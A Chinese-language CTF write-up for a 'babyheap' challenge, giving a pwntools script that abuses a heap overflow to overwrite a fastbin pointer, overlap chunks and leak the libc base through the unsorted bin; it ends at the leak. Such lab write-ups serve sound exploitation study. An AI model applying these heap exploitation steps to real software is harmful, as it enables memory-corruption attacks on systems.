checksec exeinfo
开启了全保护 64位
查看函数:
堆题 增删查改齐了
可以在编辑堆的时候重新设置大小 存在堆溢出
delete函数的指针清零了 无UAF
想法是通过unsorted bin泄露libc基址:
from pwn import *
p = process('./babyheap')
#p = remote("node5.buuoj.cn", 25783)
context.log_level = 'debug'
def add(size):
p.sendlineafter("Command: ", str(1))
p.sendlineafter("Size: ", str(size))
def edit(index, size, content):
p.sendlineafter("Command: ", str(2))
p.sendlineafter("Index: ", str(index))
p.sendlineafter("Size: ", str(size))
p.sendlineafter("Content: ", content)
def delete(index):
p.sendlineafter("Command: ", str(3))
p.sendlineafter("Index: ", str(index))
def show(index):
p.sendlineafter("Command: ", str(4))
p.sendlineafter("Index: ", str(index))
add(0x10) #chunk0 方便修改接下来的chunk
add(0x10) #chunk1 让chunk2变为fastbin的fd指针先指向它
add(0x10) #chunk2 修改fd 使其指向chunk4
add(0x10) #chunk3 方便让chunk4绕过fastbin检查并复原
add(0x80) #chunk4 最终unsortedbin指针的存放处
delete(1)
delete(2)
gdb.attach(p)
pause()
payload = p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21) + p8(0x80)
edit(0, len(payload), payload)
#将chunk2的末8位改为0x80(指向chunk4)
payload = p64(0) * 3 + p64(0x21)
edit(3, len(payload), payload)
#暂时修改chunk4的大小使其能够被加入fastbin链表
add(0x10)
add(0x10)
#两次malloc0x10让第二次的malloc为chunk4
payload = p64(0) * 3 + p64(0x91)
edit(3, len(payload), payload)
#大小改回来
add(0x80)
delete(4)
pause()
#此时chunk4进入了unsorted bin链表 此时chunk2指向chunk4
show(2)
p.recvline()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\0')) - 0x3c4b78
print(hex(libc_base))
pause()
偏移使用gdb查看:
图示: